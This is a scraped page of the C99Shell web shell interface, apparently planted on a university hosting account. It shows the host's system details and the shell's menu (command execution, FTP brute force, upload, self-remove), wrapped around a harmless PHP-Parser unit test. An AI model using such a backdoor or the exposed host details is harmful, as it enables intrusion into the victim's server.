!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BuilderFactoryTest.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser;

use 
PhpParser\Node\Expr;

class 
BuilderFactoryTest extends \PHPUnit_Framework_TestCase
{
    
/**
     * @dataProvider provideTestFactory
     */
    
public function testFactory($methodName$className) {
        
$factory = new BuilderFactory;
        
$this->assertInstanceOf($className$factory->$methodName('test'));
    }

    public function 
provideTestFactory() {
        return array(
            array(
'namespace''PhpParser\Builder\Namespace_'),
            array(
'class',     'PhpParser\Builder\Class_'),
            array(
'interface''PhpParser\Builder\Interface_'),
            array(
'trait',     'PhpParser\Builder\Trait_'),
            array(
'method',    'PhpParser\Builder\Method'),
            array(
'function',  'PhpParser\Builder\Function_'),
            array(
'property',  'PhpParser\Builder\Property'),
            array(
'param',     'PhpParser\Builder\Param'),
            array(
'use',       'PhpParser\Builder\Use_'),
        );
    }

    public function 
testNonExistingMethod() {
        
$this->setExpectedException('LogicException''Method "foo" does not exist');
        
$factory = new BuilderFactory();
        
$factory->foo();
    }

    public function 
testIntegration() {
        
$factory = new BuilderFactory;
        
$node $factory->namespace('Name\Space')
            ->
addStmt($factory->use('Foo\Bar\SomeOtherClass'))
            ->
addStmt($factory->use('Foo\Bar')->as('A'))
            ->
addStmt($factory
                
->class('SomeClass')
                ->
extend('SomeOtherClass')
                ->
implement('A\Few''\Interfaces')
                ->
makeAbstract()

                ->
addStmt($factory->method('firstMethod'))

                ->
addStmt($factory->method('someMethod')
                    ->
makePublic()
                    ->
makeAbstract()
                    ->
addParam($factory->param('someParam')->setTypeHint('SomeClass'))
                    ->
setDocComment('/**
                                      * This method does something.
                                      *
                                      * @param SomeClass And takes a parameter
                                      */'
))

                ->
addStmt($factory->method('anotherMethod')
                    ->
makeProtected()
                    ->
addParam($factory->param('someParam')->setDefault('test'))
                    ->
addStmt(new Expr\Print_(new Expr\Variable('someParam'))))

                ->
addStmt($factory->property('someProperty')->makeProtected())
                ->
addStmt($factory->property('anotherProperty')
                    ->
makePrivate()
                    ->
setDefault(array(123))))
            ->
getNode()
        ;

        
$expected = <<<'EOC'
<?php

namespace Name\Space;

use Foo\Bar\SomeOtherClass;
use Foo\Bar as A;
abstract class SomeClass extends SomeOtherClass implements A\Few, \Interfaces
{
    protected $someProperty;
    private $anotherProperty = array(1, 2, 3);
    function firstMethod()
    {
    }
    /**
     * This method does something.
     *
     * @param SomeClass And takes a parameter
     */
    public abstract function someMethod(SomeClass $someParam);
    protected function anotherMethod($someParam = 'test')
    {
        print $someParam;
    }
}
EOC;

        
$stmts = array($node);
        
$prettyPrinter = new PrettyPrinter\Standard();
        
$generated $prettyPrinter->prettyPrintFile($stmts);

        
$this->assertEquals(
            
str_replace("\r\n""\n"$expected),
            
str_replace("\r\n""\n"$generated)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0386 ]--